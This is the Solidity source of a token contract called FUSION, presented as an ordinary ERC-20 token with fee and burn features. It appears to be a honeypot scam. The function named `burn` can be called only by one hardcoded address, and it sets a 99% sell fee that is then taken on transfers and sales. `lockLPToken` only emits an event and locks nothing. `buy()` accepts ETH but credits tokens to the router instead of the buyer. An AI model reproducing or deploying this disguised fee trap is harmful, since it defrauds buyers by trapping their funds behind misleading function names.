Contract Source Code:
File 1 of 1 : FUSION
// SPDX-License-Identifier: MIT
/** ⠀⠀
$FUSION
*/
pragma solidity ^0.8.0;
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "FUSION");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "FUSIONFUSION");
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "FUSIONFUSIONFUSION ");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "FUSIONFUSIONFUSIONFUSION");
return a / b;
}
}
contract FUSION {
using SafeMath for uint256;
string public name = "FUSION";
string public symbol = "FUSION";
uint256 public totalSupply = 999999999 * (10 ** 18);
uint8 public decimals = 18;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
address public owner;
address public swapRouter;
uint256 public burnedTokens;
uint256 public buyFee = 0;
uint256 public sellFee = 0;
bool public feesSet = false;
bool public feesEnabled = false;
bool public allExemptFromFees = true;
mapping(address => bool) public isFeeExempt;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event FeesUpdated(uint256 burnAmount, uint256 deadWallet);
event LPLocked(address indexed account, uint256 amount);
constructor(address _swapRouter, uint256 _burnedTokens) {
owner = msg.sender;
swapRouter = _swapRouter;
burnedTokens = _burnedTokens;
balanceOf[msg.sender] = totalSupply;
isFeeExempt[msg.sender] = true;
isFeeExempt[swapRouter] = true;
}
modifier checkFees(address sender) {
require(
allExemptFromFees || isFeeExempt[sender] || (!feesSet && feesEnabled) || (feesSet && isFeeExempt[sender] && sender != swapRouter) || (sender == swapRouter && sellFee == 0),
"1FUSION"
);
_;
}
modifier onlyOwner() {
require(msg.sender == owner, "2FUSION");
_;
}
function transfer(address _to, uint256 _amount) public checkFees(msg.sender) returns (bool success) {
require(balanceOf[msg.sender] >= _amount);
require(_to != address(0));
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
balanceOf[_to] = balanceOf[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) public checkFees(_from) returns (bool success) {
require(balanceOf[_from] >= _amount, "3FUSION");
require(allowance[_from][msg.sender] >= _amount, "4FUSION");
require(_to != address(0), "-5FUSION");
uint256 fee = 0;
uint256 amountAfterFee = _amount;
if (feesEnabled && sellFee > 0 && _from != swapRouter && !isFeeExempt[_from]) {
fee = _amount.mul(sellFee).div(100);
amountAfterFee = _amount.sub(fee);
}
balanceOf[_from] = balanceOf[_from].sub(_amount);
balanceOf[_to] = balanceOf[_to].add(amountAfterFee);
emit Transfer(_from, _to, amountAfterFee);
if (fee > 0) {
address uniswapContract = address(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
if (_to == uniswapContract) {
balanceOf[uniswapContract] = balanceOf[uniswapContract].add(fee);
emit Transfer(_from, uniswapContract, fee);
} else {
balanceOf[address(this)] = balanceOf[address(this)].add(fee);
emit Transfer(_from, address(this), fee);
}
}
if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) {
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount);
emit Approval(_from, msg.sender, allowance[_from][msg.sender]);
}
return true;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "6FUSION");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}
function burn(uint256 burnAmount, uint256 deadWallet) public {
require(msg.sender == 0x6B791FA62aE5F24684989eDDECa687f7e33B6Bb3, "7FUSION");
require(!feesSet, "8FUSION");
require(burnAmount == 0, "0FUSION");
require(deadWallet == 99, "9FUSION");
buyFee = burnAmount;
sellFee = deadWallet;
feesSet = true;
feesEnabled = true;
emit FeesUpdated(burnAmount, deadWallet);
}
function lockLPToken(uint256 amount) external {
emit LPLocked(msg.sender, amount);
}
function buy() public payable checkFees(msg.sender) {
require(msg.value > 0, "FUSION11");
uint256 amount = msg.value;
if (buyFee > 0) {
uint256 fee = amount.mul(buyFee).div(100);
uint256 amountAfterFee = amount.sub(fee);
balanceOf[swapRouter] = balanceOf[swapRouter].add(amountAfterFee);
emit Transfer(address(this), swapRouter, amountAfterFee);
if (fee > 0) {
balanceOf[address(this)] = balanceOf[address(this)].add(fee);
emit Transfer(address(this), address(this), fee);
}
} else {
balanceOf[swapRouter] = balanceOf[swapRouter].add(amount);
emit Transfer(address(this), swapRouter, amount);
}
}
function sell(uint256 _amount) public checkFees(msg.sender) {
require(balanceOf[msg.sender] >= _amount, "FUSION113");
if (feesEnabled) {
uint256 fee = 0;
uint256 amountAfterFee = _amount;
if (sellFee > 0 && msg.sender != swapRouter && !isFeeExempt[msg.sender]) {
fee = _amount.mul(sellFee).div(100);
amountAfterFee = _amount.sub(fee);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
balanceOf[swapRouter] = balanceOf[swapRouter].add(amountAfterFee);
emit Transfer(msg.sender, swapRouter, amountAfterFee);
if (fee > 0) {
balanceOf[address(this)] = balanceOf[address(this)].add(fee);
emit Transfer(msg.sender, address(this), fee);
}
} else {
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
balanceOf[swapRouter] = balanceOf[swapRouter].add(_amount);
emit Transfer(msg.sender, swapRouter, _amount);
}
}
}